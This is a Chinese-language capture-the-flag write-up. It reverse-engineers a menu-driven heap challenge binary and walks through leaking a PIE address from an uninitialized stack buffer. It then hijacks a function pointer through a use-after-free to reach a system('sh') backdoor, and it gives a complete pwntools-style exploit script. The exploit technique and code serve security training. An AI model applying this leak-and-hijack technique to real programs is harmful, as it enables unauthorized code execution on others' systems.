题目情况
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Stripped: No
逆向分析
main:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
setup();
fprintf(stdout, "%s %s Welcome to the Intergalactic Weapon Black Market %s\n", "馃挼", "\x1B[1;35m", "馃挼");
fprintf(stdout, "\n%sLoading the latest weaponry . . .\n%s", "\x1B[1;32m", "\x1B[1;35m");
sleep(3u);
update_weapons(); // 申请内存,内存里保存了数据和指针
fflush(stdout);
menu();
}
执行了update_weapons和menu函数
update_weapons:
char *update_weapons()
{
char *result; // rax
storage = (char *)malloc(0x50uLL);
strcpy(storage, weapons);
result = storage;
*((_QWORD *)storage + 9) = printStorage;
return result;
}
申请内存,然后填入数据,和一个函数指针
menu:
void __noreturn menu()
{
char opt[3]; // [rsp+Dh] [rbp-3h] BYREF
memset(opt, 0, sizeof(opt));
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1BuLL, stdout);
fwrite("| |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [1] See the Weaponry |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [2] Buy Weapons |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [3] Make an Offer |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [4] Try to Steal |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [5] Leave |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| |\n", 1uLL, 0x1AuLL, stdout);
fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1AuLL, stdout);
fwrite("\n[*] What do you want to do? ", 1uLL, 0x1DuLL, stdout);
read(0, opt, 2uLL);
if ( opt[0] != '2' )
break;
buy(); // 2
// 缓冲区写入数据,打印缓冲区(泄露地址?
}
if ( opt[0] > 50 )
break;
if ( opt[0] != '1' )
goto LABEL_13;
(*((void (**)(void))storage + 9))(); // 1,调用函数指针
}
if ( opt[0] == '3' )
{
make_offer(); // 3
// 申请内存,写入数据,无溢出
}
else
{
if ( opt[0] != '4' )
{
LABEL_13:
fprintf(stdout, "\n[*] Don't ever come back again! %s\n", "\x1B[1;0m");
exit(0);
}
steal(); // 4
// 释放storage
}
}
}
进入菜单,
选项1:执行刚刚那个函数指针
选项2:向缓冲区输入数据,然后打印
size_t buy()
{
char buf[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v2; // [rsp+48h] [rbp-8h]
v2 = __readfsqword(0x28u);
fwrite("\n[*] What do you want!!? ", 1uLL, 0x19uLL, stdout);
read(0, buf, 71uLL);
fprintf(stdout, "\n[!] No!, I can't give you %s\n", buf);
fflush(stdout);
return fwrite("[!] Get out of here!\n", 1uLL, 0x15uLL, stdout);
}
选项3:申请任意大小内存并填入数据
size_t make_offer()
{
char s[3]; // [rsp+5h] [rbp-Bh] BYREF
size_t size; // [rsp+8h] [rbp-8h]
size = 0LL;
memset(s, 0, sizeof(s));
fwrite("\n[*] Are you sure that you want to make an offer(y/n): ", 1uLL, 0x37uLL, stdout);
read(0, s, 2uLL);
if ( s[0] != 'y' )
return fwrite("[!] Don't bother me again.\n", 1uLL, 0x1BuLL, stdout);
fwrite("\n[*] How long do you want your offer to be? ", 1uLL, 0x2DuLL, stdout);
size = read_num();
offer = malloc(size);
fwrite("\n[*] What can you offer me? ", 1uLL, 0x1CuLL, stdout);
read(0, offer, size);
return fwrite("[!] That's not enough!\n", 1uLL, 0x17uLL, stdout);
}
选项4:释放之前申请的内存
int steal()
{
fwrite("\n[*] Sneaks into the storage room wearing a face mask . . . \n", 1uLL, 0x3DuLL, stdout);
sleep(2u);
fprintf(stdout, "%s[*] Guard: *Spots you*, Thief! Lockout the storage!\n", "\x1B[1;31m");
free(storage);
sleep(2u);
return fprintf(stdout, "%s[*] You, who didn't skip leg-day, escape!%s\n", "\x1B[1;32m", "\x1B[1;35m");
}
还有个没用到的函数:unlock_storage
int unlock_storage()
{
fprintf(stdout, "\n%s[*] Bruteforcing Storage Access Code . . .%s\n", "\x1B[5;32m", "\x1B[25;0m");
sleep(2u);
fprintf(stdout, "\n%s* Storage Door Opened *%s\n", "\x1B[1;32m", "\x1B[1;0m");
return system("sh");
}
利用分析
整理当前信息:
程序提供了打印栈缓冲区内容的选项(2),如果缓冲区未初始化,可能有残留数据,可以泄露出地址
程序提供了后门函数,需要泄露pie来定位
程序提供了通过函数指针执行函数的选项,且函数指针位于内存中,这个内存可以释放了再申请伪造数据,从而劫持执行流
辅助函数
def cmd(i, prompt=b"? "):
sla(prompt, i)
def see():
cmd('1')
#......
def buy(content: bytes):
cmd('2')
sla(b"[*] What do you want!!? ",content)
#......
def make(size: int, content: bytes):
cmd('3')
sla(b"[*] Are you sure that you want to make an offer(y/n): ",b"y")
sla(b"[*] How long do you want your offer to be? ",str(size).encode())
sla(b"[*] What can you offer me? ",content)
#......
def dele():
cmd('4')
#......
leak address
随便输入123,查看栈信息:
00:0000│ rsi rsp 0x7fffffffdb20 ◂— 0xa34333332323131 ('1122334\n')
01:0008│-048 0x7fffffffdb28 —▸ 0x5555554015e2 ◂— or bl, byte ptr [rbx + 0x2a] /* '\n[*] What do you want to do? ' */
02:0010│-040 0x7fffffffdb30 —▸ 0x7ffff7fbe4a0 (_IO_file_jumps) ◂— 0x0
03:0018│-038 0x7fffffffdb38 —▸ 0x7ffff7e583f1 (fwrite+193) ◂— cmp rax, -1
填充8字节后,就能泄露出pie地址:
buy(cyclic(0x7))
ru(cyclic(0x7)+b"\n")
leak = rl()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak addr: {hex(leak)}")
elf.address = leak - 0x15e2
success(f"elf addr: {hex(elf.address)}")
Hijack ptr
释放后申请同等大小的内存,填入数据即可
# overwrite ptr
win = elf.address + 0xEFF
dele()
make(0x58,pack(0)*9 + pack(win))
see()
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b"? "):
sla(prompt, i)
def see():
cmd('1')
#......
def buy(content: bytes):
cmd('2')
sla(b"[*] What do you want!!? ",content)
#......
def make(size: int, content: bytes):
cmd('3')
sla(b"[*] Are you sure that you want to make an offer(y/n): ",b"y")
sla(b"[*] How long do you want your offer to be? ",str(size).encode())
sla(b"[*] What can you offer me? ",content)
#......
def dele():
cmd('4')
#......
buy(cyclic(0x7))
ru(cyclic(0x7)+b"\n")
leak = rl()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak addr: {hex(leak)}")
elf.address = leak - 0x15e2
success(f"elf addr: {hex(elf.address)}")
# overwrite ptr
win = elf.address + 0xEFF
dele()
make(0x58,pack(0)*9 + pack(win))
see()
ia()
总结
一个教训是,要好好注意还存在哪些隐藏的函数,缺少信息会卡住
这个题目的要点是,理解malloc申请的顺序,内存会从哪里bins申请走